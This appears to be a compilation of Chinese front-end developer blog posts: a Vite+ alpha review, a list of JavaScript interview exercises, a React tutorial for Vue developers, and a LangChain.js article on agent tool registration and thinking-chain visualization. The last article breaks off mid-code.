第一,它现在是 Alpha 版本。v0.1.11,连 Beta 都没到,API 可能随时调整,生产环境请三思。官方文档里也明确说了,vp migrate 运行完之后大多数项目还需要手动调整,不是一键无缝。
第二,"大一统"是双刃剑。统一工具链的好处是减少配置和兼容性问题,但坏处是一旦某个模块出问题,整条链都可能受影响。以前 ESLint 出错不影响构建,以后就不好说了。
第三,生态兼容性需要时间。虽然理论上兼容 Vite 插件,但实际使用中肯定会有各种边界情况,社区插件的适配需要一个过程。
第四,包管理这块水很深。npm、pnpm、yarn 打了很多年,每家都有自己的 resolve 策略和 lockfile 格式,Vite+ 要在这个领域站稳脚跟,挑战不小。
这件事的意义
前端工具链的碎片化问题困扰社区很久了。一个新项目光配置工具链就要半天,node_modules 动辄几百 MB,各种工具之间的版本冲突是家常便饭。
Vite+ 的出现代表了一种趋势,用 Rust 重写性能敏感的部分,用统一的入口消除工具之间的缝隙。
类似的尝试不止 Vite+ 一家,Bun、Deno、Biome 都在做类似的事。但 Vite+ 有一个独特优势,它站在 Vite 的肩膀上,从 Vite 到 Vite+ 的迁移路径是最短的,用户基数也是最大的。
从现在的角度来看,Alpha 阶段先关注、多试用、遇到问题提 issue 才是正确姿势。但这件事本身值得认真看待,前端工具链可能真的要变了。
📖 2026年 大厂前端面试手写题库已开源(2.3k star)
前端手写题集锦 use js 记录大厂笔试,面试常考手写题, 致力打造最全的前端JavaScript手写题题库和答案的最优解
Github:github.com/Sunny-117/j…
谢谢您的star,您的star是我更新的动力🥳
里面有答案,为了让你们有一个参考,不过非常希望你们能提供自己的思路,指出答案中存在的问题,复杂度优化等等, 期待你们的contribute, 想来一起维护这个项目,可以联系我,成为contributor
主要是让大家讨论出最优解,然后merge,一起贡献这个项目,有些答案有点问题,所以我给出的答案仅作参考,也欢迎发现的小伙伴提PR
贡献此项目
提PR就行
思考很久,用issue形式收集各种手写题,并让小伙伴们讨论题解
JavaScript HOT 100 题
中大厂面试,最常考的100个题,每一题都非常具有代表性,想要准备面试突击的同学,优先看这些题,祝在座的每一位都能拿到满意的offer
- 实现Primise.all
- JSON2DOM = react的render函数
- 树形结构转成列表
- 列表转成树形结构
- Array.prototype.flat
- instanceof
- call apply bind
- Array.prototype.map
- 正则表达式模版字符串
- lodash.get
- 深拷贝
- 寄生组合式继承
- 发布订阅者模式
实现 Promise (hot)
- 完整实现Promise A+
- 实现Primise.all
- 实现Promise.prototype.finally
- 实现Promise.allSettled
- 实现Primise.race
- 实现 Promise.prototype.catch
- Promise.resolve
- Promise.reject
Promise 周边场景题(hot)
- 交通灯
- 封装异步的fetch,使用async await方式来使用
- repeat(console.log, 5, 1000)
- 封装一个工具函数输入一个promiseA返回一个promiseB如果超过1s没返回则抛出异常如果正常则输出正确的值
- 请求5s未完成就终止
- 实现一个sleep函数
- js每隔一秒打印1,2,3,4,5
- 使用 setTimeout 实现 setInterval
- promise实现图片异步加载
- 使用Promise封装AJAX请求
- 我们能反过来使用 setinterval 模拟实现 settimeout 吗?
- 异步任务:依次发送3次网络请求,拿到服务器数据
- 实现网络请求超时判断,超过三秒视为超时
- promise中断请求
- 给定一系列的api,测量上传速度(实现的时候用的GET请求)并选择一个加载时间最短的api
- settimeout系统补偿时间
- setTimeout准时
- 请求五秒未完成则终止
- 并发多个请求,返回先得到response的。函数输入为url数组,输出为第一个返回的response的结果
- JS异步数据流,实现并发异步请求,结果顺序输出
- Promise串行
- 处理高并发, 100 条数据,带宽为 10, 跑满带宽
- 设计一个简单的任务队列, 要求分别在 1,3,4 秒后打印出 "1", "2", "3";
- 实现有并行限制的 Promise 调度器
- 实现 Scheduler
- 有并发限制的Promise.all(ts类型)
- 实现 如果上一次的没请求完,之后的就无响应
- 使用 Promise 实现每隔三秒输出时间
- 使用 Promise 改写回调地狱
- 设计一个函数,该函数的参数为可同时发送请求的大小,返回一个函数,该函数的参数为要请求的url。 实现的效果为,同时发送n个请求,当有请求返回后往请求队列里push新的请求,并输出刚刚结束的请求的返回值
- Promise.retry 超时重新请求,并在重试一定次数依然失败时输出缓存内容
- 写一个 mySetInterVal(fn, a, b),每次间隔 a,a+b,a+2b 的时间,然后写一个 myClear,停止上面的 mySetInterVal
JavaScript 常考手写题
- 产生一个不重复的随机数组
- await async 如何实现
- 使用递归完成 1 到 100 的累加
- 打印出 1~10000 以内的对称数
- 实现一个字符串匹配算法indexOf
- 请实现一个模块 math,支持链式调用math.add(2,4).minus(3).times(2);
- 手写用 ES6proxy 如何实现 arr[-1] 的访问(滴滴2020)
- 有一堆整数,请把他们分成三份,确保每一份和尽量相等(11,42,23,4,5,6 4 5 6 11 23 42 56 78 90)
- 之字形打印矩阵
- 数组中的最大值
- 尾递归(斐波那契数列
- 实现简单路由
- 封装一个localstorage的setItem和getItem方法
- 1-1000回文数
- 随机生成字符串
- 判断一个字符串是否为驼峰字符串, judge('ByteDance','BD') -> true judge('Bytedance','BD') -> false
- 压缩字符串
- Map场景题
- 输入50a6we8y20x 输出50个a,6个we,8个y,20个x
- 手写defineProperty
- String string 值一样返回true Object Object 返回true function function 都是声明的一个新的变量 返回false
- 对输入的字符串:去除其中的字符'b';去除相邻的'a'和'c'
- 用一行代码,将数组中的字符串和字符串对象(new String(123))直接判定出来
- before
- 实现一下 console.log
- 实现(5).add(3).minus(2)功能
- 将十进制数字转为二进制数字字符串
- 封装remove child.remove()销毁自身
- 字符串中字母的出现次数
- 输出一个等腰三角形
- 实现一个函数a,使其奇数次调用时返回1,偶数次调用时返回2(不能使用全局变量)
- 求 最接近的值
- 不用循环求和
- 连续赋值操作
- 输入一串字符串,根据字符串求出每个字母的数量并返回结果对象。(数字为1时可省略
- 创建包含10个1的数组 多种方法
- ['zm', 'za', 'b', 'lm', 'ln', 'k']
- ["0->2", "4->5", "7", "13", "15->16"]
- ['ab', 'c', 'ab', 'd', 'c'] => ['ab1', 'c1' ,'ab2', 'd', 'c2']
- 移除空属性
- 判断两个对象是否相等
- 一个数组,找出每个数组元素右侧第一个比当前数大的数的下标,时间复杂度O(N)
- 寻找出现次数最多的三个标签
- 素数
- 实现日期格式化函数
- 实现 jsonp
- URL反转
- 解析 URL Params 为对象
- 调用计数器(支持重置)
- 颜色生成
- JavaScript怎么清空数组
- 判断A、B数组的包含关系(值和数量),A属于B返回1,B属于A返回2,两者相等返回0,其他返回-1
- 对象的合并
- 实现一个 无限延伸数组)
- 多行字符串转二维数组
- 请实现一个通用的Array解构赋值
- 数组合并
- 数组交集,并集,差集
- 多维数组全排列
- 判断对象是否存在循环引用
- 实现函数solution(arr, k)
- 逆对象扁平
- 对象扁平化
- 实现 执行一次的函数
- 链式调用
- 偏函数
- 实现管道函数
- 手写事件代理(委托)
- 数据类型判断
- 类数组转数组
- 预加载
- 图片懒加载
- 数组去重
- 防抖 节流
- 函数组合 compose redux-saga koa 洋葱模型
- sum(x,y)和sum(x)(y)
- curry柯里化
设计模式相关
树-场景题(hot)
- DOM2JSON
- JSON2DOM = react的render函数
- 计算目录树的深度
- 树形结构获取路径名
- 树形结构转成列表
- 列表转成树形结构
- 对象树遍历
- 获取树对象属性
- 查找json中的children路径
- 对象字符串转化成树形结构
- 判断有无符合路径和 -> 打印所有路径
- 获取树结构中的name:getName
实现 JS 原生方法
- Array.prototype.flat
- Array.prototype.forEach
- Array.prototype.map
- Array.prototype.filter
- Array.prototype.reduce
- Array.prototype.fill
- Array.prototype.includes
- Array.prototype.push
- Array.prototype.unshift
- Array.prototype.copy
- Array.prototype.getLevel
- 实现es6的set集合
- 实现es6的map集合
- String.prototype.zpadStart
- Object.assign
- Object.is
- JSON.stringify
- JSON.parse
- call apply bind
- instanceof
- trim
- 实现new
- String.prototype.repeat
- String.prototype.includes
JS 库函数实现
js utils
手写 nodejs 模块
正则相关
- 正则表达式模版字符串
- 正则判断手机号,qq,颜色,邮箱
- 字符串的大小写取反
- 检验字符串首尾是否含有数字
- 去除字符串空格
- 去除字符串中的字母
- 正则 驼峰转换
- 对象key的驼峰转下划线
- 判断字符串中是否存在连续的三个数
- ((2+3)+(3*4))+2---->['(2 + 3)+(3 * 4)', '2 + 3', '3 * 4']
排序算法
实现自定义HOOK
- Hooks怎么封装手势逻辑
- Hooks实现移动端的滑动轮播插件
- 如何用 Hooks 模拟 componentDidMount 与componentWillUnmount
- 实现一个useBodyScrollLock ,当出现弹窗时 阻止背景滚动
- ts 实现 hooks: useInterval
- 实现 useQuery
- 实现useRequest
组件设计题(Vue/React/JS均可)
- 全选
- 轮播图
- 根据response渲染table
- 歌词滚动功能(hot)
- 实现一个 百度搜索框 (搜索提示)
- 实现todos
- 计时器或倒计时组件
- 设计一个公会入驻信息提交页
- 编码实现宽高不相同图片的自适配排列
- 列表子元素顺序反转
- 遍历树组件
- 选项卡
- 拖拽
HTML CSS 手写题
React 快速入门:Vue 开发者指南
React 快速入门:Vue 开发者指南
通过对比 Vue 和 React,快速掌握 React 核心概念
一、项目结构对比
1.1 依赖管理
React (package.json):
{
"dependencies": {
"react": "^19.2.0",
"react-dom": "^19.2.0"
}
}
Vue (package.json):
{
"dependencies": {
"vue": "^3.4.0"
}
}
关键差异:
- React 分两个包:
react(核心库)+react-dom(DOM 渲染器) - Vue 只需要一个包
- React 设计更通用,支持多平台(Web、Native 等)
1.2 入口文件
React (main.jsx):
import { StrictMode } from 'react'
import { createRoot } from 'react-dom/client'
import App from './App.jsx'
createRoot(document.getElementById('root')).render(
<StrictMode>
<App />
</StrictMode>,
)
Vue (main.js):
import { createApp } from 'vue'
import App from './App.vue'
createApp(App).mount('#app')
对比:
- React 需要显式调用
render() - Vue 更简洁,一行完成创建和挂载
- React 的
StrictMode提供开发时检查
二、JSX:React 的模板语法
2.1 什么是 JSX?
JSX = JavaScript + XML,允许在 JS 中直接写 HTML 标签。
示例:
function App() {
const name = "vue";
return (
<h1 className="title">Hello {name}!</h1>
)
}
2.2 JSX vs Vue 模板
| 特性 | React JSX | Vue 模板 |
|---|---|---|
| 类名 | className |
class |
| 插值 | {name} |
{{ name }} |
| 事件 | onClick={handler} |
@click="handler" |
| 条件 | {condition && <div />} |
v-if="condition" |
| 列表 | {items.map(i => <li />)} |
v-for="i in items" |
2.3 JSX 的本质
JSX 代码:
const element = <h2>标题</h2>
编译后等价于:
const element2 = React.createElement('h2', null, '标题')
为什么使用 JSX?
- 更直观,接近 HTML
- 完整的 JavaScript 能力
- 更好的编辑器支持
三、组件基础
3.1 React 组件
// 函数就是组件
function App() {
return <h1>Hello React!</h1>
}
export default App
关键点:
- 组件是函数
- 返回 JSX
- 组件名必须大写(区分 HTML 标签)
3.2 组件组合
function Header() {
return <header><h1>首页</h1></header>
}
function Articles() {
return <div>文章列表</div>
}
function App() {
return (
<>
<Header />
<Articles />
</>
)
}
Fragment (<>):不会创建额外 DOM 节点,类似 Vue 的 <template>
3.3 Props 传递
// 父组件
function App() {
return <UserProfile name="张三" />
}
// 子组件
function UserProfile({ name }) {
return <h1>欢迎,{name}!</h1>
}
对比 Vue:
<template>
<UserProfile :name="'张三'" />
</template>
<script setup>
const props = defineProps({ name: String })
</script>
四、状态管理:useState
4.1 基本用法
import { useState } from 'react';
function App() {
const [name, setName] = useState("vue");
return <h1>Hello {name}!</h1>
}
解析:
-
useState返回数组:[状态值,更新函数] -
"vue"是初始值 - 调用
setName()会触发重新渲染
4.2 多个状态
function App() {
const [name, setName] = useState("vue");
const [todos, setTodos] = useState([
{ id: 1, title: "学习 react" },
{ id: 2, title: "学习 node" },
]);
const [isLoggedIn, setIsLoggedIn] = useState(false);
return (
<>
<h1>Hello {name}!</h1>
{isLoggedIn ? <div>已登录</div> : <div>未登录</div>}
</>
)
}
4.3 不可变更新
// ❌ 错误:直接修改
todos.push(newTodo);
setTodos(todos);
// ✅ 正确:创建新数组
setTodos([...todos, newTodo]);
// ✅ 更新对象
setUser({ ...user, age: 26 });
为什么?
- React 使用浅比较检测变化
- 不可变数据更可预测
- 支持并发特性
对比 Vue:
<script setup>
const todos = ref([])
// Vue 支持直接修改
todos.value.push(newTodo)
</script>
Vue 使用 Proxy 自动追踪变化,React 要求不可变更新。
五、事件处理
5.1 基本用法
function App() {
const [count, setCount] = useState(0);
const handleClick = () => {
setCount(count + 1);
};
return <button onClick={handleClick}>+1</button>
}
关键点:
- 事件名驼峰命名:
onClick(不是onclick) - 传递函数引用:
onClick={handleClick} - 不是调用:
onClick={handleClick()}❌
5.2 事件传参
function App() {
const handleDelete = (id) => {
console.log('删除:', id);
};
return (
<ul>
{todos.map(todo => (
<li key={todo.id} onClick={() => handleDelete(todo.id)}>
{todo.title}
</li>
))}
</ul>
)
}
使用箭头函数传参,简单直观。
5.3 对比 Vue
| 特性 | React | Vue |
|---|---|---|
| 语法 | onClick={handler} |
@click="handler" |
| 阻止默认行为 | e.preventDefault() |
.prevent 修饰器 |
| 事件对象 | 自动传递 | $event |
六、条件渲染
6.1 三元运算符
{isLoggedIn ? <div>已登录</div> : <div>未登录</div>}
6.2 逻辑与运算符
{isLoggedIn && <div>已登录</div>}
6.3 对比 Vue
React:
{count > 0 ? <p>{count}</p> : <p>无数据</p>}
Vue:
<p v-if="count > 0">{{ count }}</p>
<p v-else>无数据</p>
设计哲学:
- React:使用 JavaScript 原生语法
- Vue:使用模板指令
七、列表渲染
7.1 使用 map
function App() {
const todos = [
{ id: 1, title: "学习 react" },
{ id: 2, title: "学习 node" },
];
return (
<ul>
{todos.map(todo => (
<li key={todo.id}>
{todo.title}
</li>
))}
</ul>
)
}
7.2 key 的重要性
// ✅ 正确:使用唯一 ID
<li key={todo.id}>
// ❌ 错误:使用索引
<li key={index}>
为什么需要 key?
- 帮助 React 识别元素
- 优化虚拟 DOM diff
- 避免不必要的重新渲染
7.3 对比 Vue
React:
{todos.map(todo => <li key={todo.id}>{todo.title}</li>)}
Vue:
<li v-for="todo in todos" :key="todo.id">
{{ todo.title }}
</li>
八、完整示例
import { useState } from 'react';
import './App.css';
function App() {
// 状态管理
const [name, setName] = useState("vue");
const [todos, setTodos] = useState([
{ id: 1, title: "学习 react", done: false },
{ id: 2, title: "学习 node", done: false },
{ id: 3, title: "学习 js", done: false },
]);
const [isLoggedIn, setIsLoggedIn] = useState(false);
// 事件处理
const toggleLogin = () => {
setIsLoggedIn(!isLoggedIn);
}
// JSX 元素
const element = <h2>JSX 是 React 的语法扩展</h2>
return (
<>
{element}
<h1>Hello <span className="title">{name}!</span></h1>
{/* 条件渲染 + 列表渲染 */}
{todos.length > 0 ? (
<ul>
{todos.map((todo) => (
<li key={todo.id}>
{todo.title}
</li>
))}
</ul>
) : (<div>暂无待办事项</div>)}
{/* 条件渲染 */}
{isLoggedIn ? <div>已登录</div> : <div>未登录</div>}
{/* 事件绑定 */}
<button onClick={toggleLogin}>
{isLoggedIn ? "退出登录" : "登录"}
</button>
</>
)
}
export default App
代码要点:
- 使用
useState管理三个状态 - 三元运算符实现条件渲染
-
map方法实现列表渲染 - 箭头函数处理事件
- Fragment (
<>) 包裹多个元素
九、核心差异总结
9.1 设计哲学
| 方面 | React | Vue |
|---|---|---|
| 定位 | 库 (Library) | 框架 (Framework) |
| 模板 | JSX (JavaScript) | 模板语法 (HTML-like) |
| 状态更新 | 不可变 | 可变 |
| 学习曲线 | 较陡峭 | 较平缓 |
| 灵活性 | 高 | 中等 |
9.2 代码对比
React:
import { useState } from 'react';
function App() {
const [count, setCount] = useState(0);
return (
<div>
<p>计数:{count}</p>
<button onClick={() => setCount(count + 1)}>+1</button>
</div>
)
}
Vue:
<script setup>
import { ref } from 'vue'
const count = ref(0)
</script>
<template>
<div>
<p>计数:{{ count }}</p>
<button @click="count++">+1</button>
</div>
</template>
9.3 关键记忆点
-
JSX 用
{}插值,不是{{ }} -
类名用
className,不是class -
事件用
onClick,不是@click - 状态不可变更新,不能直接修改
-
列表需要
key,使用唯一 ID -
条件用三元运算符,不是
v-if
十、常见陷阱
陷阱 1:直接修改状态
// ❌ 错误
count = count + 1;
// ✅ 正确
setCount(count + 1);
陷阱 2:忘记 key
// ❌ 错误
{items.map(item => <div>{item.name}</div>)}
// ✅ 正确
{items.map(item => <div key={item.id}>{item.name}</div>)}
陷阱 3:混淆 class
// ❌ 错误
<div class="container">
// ✅ 正确
<div className="container">
陷阱 4:事件立即执行
// ❌ 错误
<button onClick={handleClick()}>
// ✅ 正确
<button onClick={handleClick}>
十一、学习建议
11.1 学习路线
第 1 周:基础
- JSX 语法
- 组件定义
- useState
第 2 周:进阶
- 事件处理
- 条件/列表渲染
- useEffect
第 3 周:生态
- React Router
- 状态管理
- UI 组件库
11.2 思维转换
从 Vue 到 React,需要转变:
- 从模板到 JSX:接受"一切皆 JavaScript"
- 从可变到不可变:习惯创建新对象
- 从指令到函数:用原生语法替代指令
11.3 选择建议
选 React 如果:
- JavaScript 基础好
- 需要灵活性
- 想开发跨平台应用
选 Vue 如果:
- 快速上手
- 喜欢完整方案
- 主要开发 Web 应用
总结
React 核心要点:
- ✅ JSX 是 JavaScript 扩展,不是 HTML
- ✅ 组件是函数,返回 JSX
- ✅ useState 管理状态,不可变更新
- ✅ 事件用 onClick,传递函数引用
- ✅ 条件用三元运算符,列表用 map
- ✅ key 帮助优化渲染,必须提供
最后的话:
React 和 Vue 都是优秀框架,没有绝对好坏。理解差异,选择适合的,持续学习才是关键。
资源推荐:
- React 官方文档
- CodeSandbox - 在线练习
祝你学习顺利! 🚀
基于 LangChain.js 的前端 Agent 工作流编排:Tool 注册、思维链可视化与多步推理的实时 DAG 渲染
基于 LangChain.js 的前端 Agent 工作流编排:Tool 注册、思维链可视化与多步推理的实时 DAG 渲染
AgentExecutor.invoke() 那个 Promise resolve 的时候,你用户已经对着空白页发了 40 秒呆。
这不是性能问题。这是产品层面的硬伤——LLM Agent 做推理天生就慢,一个中等复杂度的任务跑个 3 到 5 轮 tool.call() 很正常,每轮都要等模型吐完 token、解析结构化输出、跑一下外部调用、再把结果塞回 messages 数组喂回去,整条链路跑下来十几秒起步,你要是把这些全藏在一个 loading spinner 后面,用户的耐心大概撑不过第二轮。所以真正要解决的问题不是"怎么让 Agent 跑起来",是怎么把它边跑边想的过程实时地、结构化地渲染出来(当然这是理想情况)。
Tool 选择、参数组装、中间结果、重试决策。全得摊开给用户看。说白了嘛,就是给 LLM 的"内心戏"搭一个可视化的舞台,让用户知道它不是卡死了而是真的在干活。跑通一个 demo 不难,难的是这套东西在生产环境里不崩——两个字概括就是"耐操"。
用户输入
↓
LLM 决策(选 Tool + 生成参数)
↓ ↓
Tool A 执行 Tool B 执行(并行)
↓ ↓
结果合并 → LLM 再决策
↓
Tool C 执行
↓
最终输出
这个流程画出来像个 DAG。但运行时它是动态生长的——你在第一步根本不知道后面会长出几个分支,也不知道哪个 Tool 会超时、哪个会返回意料之外的格式让 LLM 的 JSON.parse 直接炸掉。这篇文章围绕这个矛盾展开:怎么设计一套前端架构让 Tool 可插拔注册、思维链状态可追踪、DAG 可实时渲染,同时不把代码写成一坨谁都不想维护的东西。
Tool 注册机制:别让你的 Agent 变成一个巨型 switch-case
先上问题。LangChain.js 里注册 Tool 的标准姿势大概长这样:
import { DynamicStructuredTool } from '@langchain/core/tools'
import { z } from 'zod'
const searchTool = new DynamicStructuredTool({
name: 'web_search',
description: '搜索互联网获取实时信息',
schema: z.object({
query: z.string().describe('搜索关键词'),
maxResults: z.number().optional().default(5),
}),
func: async ({ query, maxResults }) => {
const res = await fetch(`/api/search?q=${encodeURIComponent(query)}&limit=${maxResults}`)
const data = await res.json()
return JSON.stringify(data.results.slice(0, maxResults))
},
})
一个 Tool 写成这样没问题。三个也凑合。十五个呢?
真实项目里 Agent 要调的 Tool 很容易膨胀到两位数——搜索、计算、db.query()、文件读写、外部 REST API 调用、沙箱代码执行——每一个都有自己的 schema 定义、错误处理逻辑、重试策略、权限校验规则,你要是把它们全塞在一个文件里就会得到一个 800 行的 tools.ts,三个月后没人敢碰这玩意。
需要 registry 模式。
// tool-registry.ts
// 核心思路:Tool 自己知道自己是谁,registry 只负责收集和分发
type ToolMeta = {
category: 'search' | 'compute' | 'io' | 'external'
requiresAuth: boolean
timeout: number // 毫秒,超时直接 abort
retryable: boolean
}
class ToolRegistry {
private tools = new Map<string, DynamicStructuredTool>()
private meta = new Map<string, ToolMeta>()
register(tool: DynamicStructuredTool, meta: ToolMeta) {
if (this.tools.has(tool.name)) {
// 同名 Tool 重复注册,直接炸——这种 bug 越早发现越好
throw new Error(`Tool "${tool.name}" already registered`)
}
this.tools.set(tool.name, tool)
this.meta.set(tool.name, meta)
}
getTools(filter?: { category?: ToolMeta['category'] }): DynamicStructuredTool[] {
let entries = [...this.tools.entries()]
if (filter?.category) {
entries = entries.filter(([name]) =>
this.meta.get(name)?.category === filter.category
)
}
return entries.map(([, tool]) => tool)
}
getMeta(name: string): ToolMeta | undefined {
return this.meta.get(name)
}
}
export const registry = new ToolRegistry()
然后每个 Tool 自己单独一个文件,文件末尾做自注册,import 的副作用就是把自己挂到 registry 上:
// tools/web-search.ts
import { registry } from '../tool-registry'
const tool = new DynamicStructuredTool({
name: 'web_search',
description: '搜索互联网获取实时信息',
schema: z.object({ query: z.string() }),
func: async ({ query }) => {
// ...实际逻辑
},
})
registry.register(tool, {
category: 'search',
requiresAuth: false,
timeout: 10000,
retryable: true,
})
这个模式有个隐含的坑。
const toolModules = import.meta.glob('./tools/*.ts', { eager: true })
// eager: true → 同步加载,确保注册发生在 Agent 创建之前
// 不需要用返回值,import 的副作用已经完成注册
静态注册搞定了。
但跑起来还有一层:Tool 执行过程中的生命周期钩子。你需要知道一个 Tool 什么时候开始执行、什么时候结束、返回了什么、报错了没有——这些信息不只是后面思维链可视化的数据源,它就是思维链本身的骨架,没有这些事件流你后面画个锤子的 DAG。
嗯,继续。
LangChain.js 原生提供了 callbacks 机制来做这事。但它的回调设计——怎么说呢——有点"Java 味儿",handleToolStart、handleToolEnd、handleToolError 一堆方法签名糊你脸上,参数类型还经常对不上文档(虽然这个设计我觉得有点奇怪,明明 TypeScript 项目为什么类型定义这么随意)。我的做法是在 registry 层包一层代理把 Tool 的 func 拦截掉:
// 在 ToolRegistry.register 方法内部
register(tool: DynamicStructuredTool, meta: ToolMeta) {
const originalFunc = tool.func.bind(tool)
const wrappedFunc = async (input: any, runManager?: any) => {
const startTime = Date.now()
const executionId = crypto.randomUUID()
this.emit('tool:start', {
executionId,
toolName: tool.name,
input,
timestamp: startTime
})
try {
const result = await Promise.race([
originalFunc(input, runManager),
new Promise((_, reject) =>
setTimeout(() => reject(new Error(`Tool ${tool.name} timeout`)), meta.timeout)
),
])
this.emit('tool:end', {
executionId,
toolName: tool.name,
result,
duration: Date.now() - startTime
})
return result
} catch (err) {
this.emit('tool:error', {
executionId,
toolName: tool.name,
error: err,
duration: Date.now() - startTime,
retryable: meta.retryable,
})
throw err
}
}
;(tool as any).func = wrappedFunc
this.tools.set(tool.name, tool)
this.meta.set(tool.name, meta)
}
这段代码有个细节值得停一下。Promise.race 里塞 setTimeout 做超时兜底这个套路很常见,但用在 LangChain Tool 里有一个陷阱——timeout reject 之后原始的 fetch 或者数据库查询其实还在跑着呢。你的 Agent 已经收到报错往下走了,后台还挂着一个请求在那耗资源。前端并发高这个说法本身就有点奇怪对吧?一个用户一次也就跑一个 Agent。但你仔细想——如果 Agent 支持并行 Tool 调用,同时起 3、4 个 fetch,再叠上用户可能开了好几个对话 tab 每个 tab 都在跑,这个泄漏就不是理论问题了,AbortController 是正解但 DynamicStructuredTool 不方便把 AbortSignal 传进 func 里,得自己在闭包里存一个,写出来不好看,先欠着。
嗯,继续。
真正让 registry 模式值回票价的是动态 Tool 集,不同用户角色、不同对话场景,Agent 能调的 Tool 不一样。管理员能用 db_query,普通用户碰都别碰(虽然官方文档不是这么说的)。哦不,准确说是用 db_query,普通用户碰都别碰(虽然官方文档不是这么说的)。处理代码问题时加载 code_executor,闲聊天的时候不需要。
function getToolsForContext(user: User, conversationType: string) {
const tools = registry.getTools()
return tools.filter(tool => {
const meta = registry.getMeta(tool.name)!
if (meta.requiresAuth && !user.permissions.includes(tool.name)) {
return false
}
if (conversationType === 'casual' && meta.category === 'compute') {
return false
}
return true
})
}
const agent = await createOpenAIFunctionsAgent({
llm,
tools: getToolsForContext(currentUser, 'technical'),
prompt,
})
这段 filter 看着朴素,本质上是把 Tool 的注册和使用解耦了。
不过话说回来。这套 registry 最大的受益者不是运行时(虽然官方文档不是这么说的)。是后面的 DAG 渲染,因为 tool:start、tool:end 这些事件流出来了,思维链的数据源就有了。
思维链状态管理:把 LLM 的内心戏变成一棵可追踪的树
AgentExecutor 跑起来之后内部在干嘛?
就是一个循环:
while (true) {
1. 把当前 messages 数组发给 LLM
2. LLM 返回:要调 Tool(哪个 Tool 什么参数)或者直接吐最终答案
3. 最终答案 → break
4. Tool 调用 → 执行 → 结果塞回 messages → 回到 1
}
循环每转一圈就是思维链上一个节点。问题在于 LangChain 的 callbacks 能告诉你这些事件发生了,但它不给你一个结构化的状态对象来表达整条链的拓扑关系——你拿到的是一堆散装事件,得自己攒成一棵树。
一开始设计太复杂了后来砍了又砍,砍到不能再砍:(数据结构。踩了几次坑之后收敛出来的版本)
type ThinkingNodeType = 'llm_call' | 'tool_call' | 'tool_result' | 'final_answer' | 'error'
type ThinkingNodeStatus = 'pending' | 'running' | 'completed' | 'failed'
interface ThinkingNode {
id: string
type: ThinkingNodeType
status: ThinkingNodeStatus
parentId: string | null
label: string
data: Record<string, any>
startedAt: number
completedAt: number | null
children: string[]
streamTokens?: string[]
}
interface ThinkingChain {
sessionId: string
rootId: string
nodes: Map<string, ThinkingNode>
currentNodeId: string | null
}
ThinkingNode 用 parentId 和 children 形成树结构。等下——不是说好了 DAG 吗?对,理论上如果两个 Tool 的结果同时喂给下一轮 LLM 决策那确实是 DAG 不是树。但在 LangChain.js 目前的 AgentExecutor 实现里(注意我说的是 AgentExecutor 不是 langgraph)并行 Tool 调用的结果最终还是拼成一条消息喂回去的,所以中间状态用树来建模够用了,真要严格 DAG 后面单独讲。
管理器,维护这棵树同时对接 LangChain 的 callback 体系:
class ThinkingChainManager {
private chain: ThinkingChain
private listeners = new Set<(chain: ThinkingChain) => void>()
constructor(sessionId: string) {
const rootId = crypto.randomUUID()
this.chain = {
sessionId,
rootId,
nodes: new Map(),
currentNodeId: null,
}
}
addNode(
type: ThinkingNodeType,
label: string,
parentId: string | null,
data: Record<string, any> = {}
): string {
const id = crypto.randomUUID()
const node: ThinkingNode = {
id, type, status: 'pending', parentId, label, data,
startedAt: Date.now(), completedAt: null, children: [],
}
this.chain.nodes.set(id, node)
if (parentId && this.chain.nodes.has(parentId)) {
this.chain.nodes.get(parentId)!.children.push(id)
}
this.notify()
return id
}
updateStatus(nodeId: string, status: ThinkingNodeStatus) {
const node = this.chain.nodes.get(nodeId)
if (!node) return
node.status = status
if (status === 'completed' || status === 'failed') {
node.completedAt = Date.now()
}
if (status === 'running') {
this.chain.currentNodeId = nodeId
}
this.notify()
}
appendStreamToken(nodeId: string, token: string) {
const node = this.chain.nodes.get(nodeId)
if (!node) return
if (!node.streamTokens) node.streamTokens = []
node.streamTokens.push(token)
// 这里刻意不调 notify()
}
subscribe(listener: (chain: ThinkingChain) => void) {
this.listeners.add(listener)
return () => this.listeners.delete(listener)
}
private notify() {
this.listeners.forEach(fn => fn(this.chain))
}
getSnapshot(): ThinkingChain {
return this.chain
}
}
为什么 appendStreamToken 不触发 notify()?
因为 GPT-4 和 Claude 吐 token 的速度大概每秒 30 到 80 个,短 token 飞起来的时候能到 100 以上——如果每个 token 都触发一次 React re-render 你的 UI 线程会直接卡成幻灯片放映。正确做法是在消费端 throttle,用 requestAnimationFrame 一帧刷一次就够了:
useEffect(() => {
const unsub = chainManager.subscribe(chain => {
setDisplayChain(structuredClone(chain))
})
let rafId: number
const tickStream = () => {
setDisplayChain(structuredClone(chainManager.getSnapshot()))
rafId = requestAnimationFrame(tickStream)
}
rafId = requestAnimationFrame(tickStream)
return () => {
unsub()
cancelAnimationFrame(rafId)
}
}, [chainManager])
structuredClone 在这里是有点奢侈的。节点多的时候每帧 clone 一次整棵树开销不小(虽然说实话 20 个节点的对象 clone 一次也就微秒级别),更好的做法是上 immer 维护 immutable 结构,但过早优化不如先跑通再说。
写到这里突然觉得之前说的不太对。
接着要把 ThinkingChainManager 和 LangChain 的 callback 对接。继承 BaseCallbackHandler 重写一堆 handle* 方法:
import { BaseCallbackHandler } from '@langchain/core/callbacks/base'
class ThinkingChainCallbackHandler extends BaseCallbackHandler {
name = 'ThinkingChainHandler'
private manager: ThinkingChainManager
private runNodeMap = new Map<string, string>()
private currentLlmNodeId: string | null = null
constructor(manager: ThinkingChainManager) {
super()
this.manager = manager
}
async handleLLMStart(llm: any, prompts: string[], runId: string) {
const parentId = this.getParentNodeId()
const nodeId = this.manager.addNode(
'llm_call',
'正在思考...',
parentId,
{ model: llm?.modelName || 'unknown' }
)
this.runNodeMap.set(runId, nodeId)
this.currentLlmNodeId = nodeId
this.manager.updateStatus(nodeId, 'running')
}
async handleLLMNewToken(token: string) {
if (this.currentLlmNodeId) {
this.manager.appendStreamToken(this.currentLlmNodeId, token)
}
}
async handleLLMEnd(output: any, runId: string) {
const nodeId = this.runNodeMap.get(runId)
if (nodeId) {
this.manager.updateStatus(nodeId, 'completed')
}
this.currentLlmNodeId = null
}
async handleToolStart(tool: any, input: string, runId: string) {
const parentId = this.currentLlmNodeId || this.getParentNodeId()
const nodeId = this.manager.addNode(
'tool_call',
`调用 ${tool.name || 'Tool'}`,
parentId,
{ toolName: tool.name, input: JSON.parse(input || '{}') }
)
this.runNodeMap.set(runId, nodeId)
this.manager.updateStatus(nodeId, 'running')
}
async handleToolEnd(output: string, runId: string) {
const nodeId = this.runNodeMap.get(runId)
